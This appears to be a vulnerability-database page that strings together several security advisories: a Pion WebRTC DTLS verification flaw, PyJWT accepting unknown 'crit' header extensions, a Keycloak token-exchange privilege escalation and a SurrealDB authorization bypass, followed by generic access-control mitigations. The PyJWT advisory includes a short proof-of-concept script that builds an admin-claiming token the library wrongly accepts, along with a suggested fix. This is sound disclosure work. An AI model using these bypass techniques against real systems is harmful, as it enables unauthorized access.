Summary
In github.com/pion/webrtc, failed DTLS certificate verification doesn't stop data channel communication
Details

Impact

Data channel communication was incorrectly allowed with users who have failed DTLS certificate verification.

This attack requires * Attacker knows the ICE password. * Only take place during PeerConnection handshake.

This attack can be detected by monitoring PeerConnectionState in all versions of Pion WebRTC.

Patches

Users should upgrade to v3.0.15.

The exact patch is https://github.com/pion/webrtc/commit/545613dcdeb5dedb01cce94175f40bcbe045df2e

Workarounds

Users should listen for when PeerConnectionState changes to PeerConnectionStateFailed. When it enters this state users should not continue using the PeerConnection.

GHSA-752W-5FWX-JX9F

Vulnerability from github – Published: 2026-03-13 20:05 – Updated: 2026-06-08 19:06
VLAI
Summary
PyJWT accepts unknown `crit` header extensions
Details

Summary

PyJWT does not validate the crit (Critical) Header Parameter defined in RFC 7515 §4.1.11. When a JWS token contains a crit array listing extensions that PyJWT does not understand, the library accepts the token instead of rejecting it. This violates the MUST requirement in the RFC.

This is the same class of vulnerability as CVE-2025-59420 (Authlib), which received CVSS 7.5 (HIGH).

RFC Requirement

RFC 7515 §4.1.11:

The "crit" (Critical) Header Parameter indicates that extensions to this specification and/or [JWA] are being used that MUST be understood and processed. [...] If any of the listed extension Header Parameters are not understood and supported by the recipient, then the JWS is invalid.

Proof of Concept

import jwt  # PyJWT 2.8.0
import hmac, hashlib, base64, json

# Construct token with unknown critical extension
header = {"alg": "HS256", "crit": ["x-custom-policy"], "x-custom-policy": "require-mfa"}
payload = {"sub": "attacker", "role": "admin"}

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

h = b64url(json.dumps(header, separators=(",", ":")).encode())
p = b64url(json.dumps(payload, separators=(",", ":")).encode())
sig = b64url(hmac.new(b"secret", f"{h}.{p}".encode(), hashlib.sha256).digest())
token = f"{h}.{p}.{sig}"

# Should REJECT — x-custom-policy is not understood by PyJWT
try:
    result = jwt.decode(token, "secret", algorithms=["HS256"])
    print(f"ACCEPTED: {result}")
    # Output: ACCEPTED: {'sub': 'attacker', 'role': 'admin'}
except Exception as e:
    print(f"REJECTED: {e}")

Expected: jwt.exceptions.InvalidTokenError: Unsupported critical extension: x-custom-policy Actual: Token accepted, payload returned.

Comparison with RFC-compliant library

# jwcrypto — correctly rejects
from jwcrypto import jwt as jw_jwt, jwk
key = jwk.JWK(kty="oct", k=b64url(b"secret"))
jw_jwt.JWT(jwt=token, key=key, algs=["HS256"])
# raises: InvalidJWSObject('Unknown critical header: "x-custom-policy"')

Impact

  • Split-brain verification in mixed-library deployments (e.g., API gateway using jwcrypto rejects, backend using PyJWT accepts)
  • Security policy bypass when crit carries enforcement semantics (MFA, token binding, scope restrictions)
  • Token binding bypass — RFC 7800 cnf (Proof-of-Possession) can be silently ignored
  • See CVE-2025-59420 for full impact analysis

Suggested Fix

In jwt/api_jwt.py, add validation in _validate_headers() or decode():

_SUPPORTED_CRIT = {"b64"}  # Add extensions PyJWT actually supports

def _validate_crit(self, headers: dict) -> None:
    crit = headers.get("crit")
    if crit is None:
        return
    if not isinstance(crit, list) or len(crit) == 0:
        raise InvalidTokenError("crit must be a non-empty array")
    for ext in crit:
        if ext not in self._SUPPORTED_CRIT:
            raise InvalidTokenError(f"Unsupported critical extension: {ext}")
        if ext not in headers:
            raise InvalidTokenError(f"Critical extension {ext} not in header")

  • CWE-345: Insufficient Verification of Data Authenticity
  • CWE-863: Incorrect Authorization

Summary
Keycloak vulnerable to privilege escalation on Token Exchange feature
Details

A privilege escalation flaw was found in the token exchange feature of keycloak. Missing authorization allows a client application holding a valid access token to exchange tokens for any target client by passing the client_id of the target. This could allow a client to gain unauthorized access to additional services.

Details

SurrealDB versions before 3.1.0 contain an authentication bypass vulnerability in LIVE SELECT subscriptions where permission expressions referencing $value, $before, $after, or $event are evaluated against attacker-controlled bindings instead of actual documents. Authenticated subscribers can bind chosen values to these parameter names and register LIVE SELECT queries to receive notifications for records that SELECT permission expressions should have hidden.

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
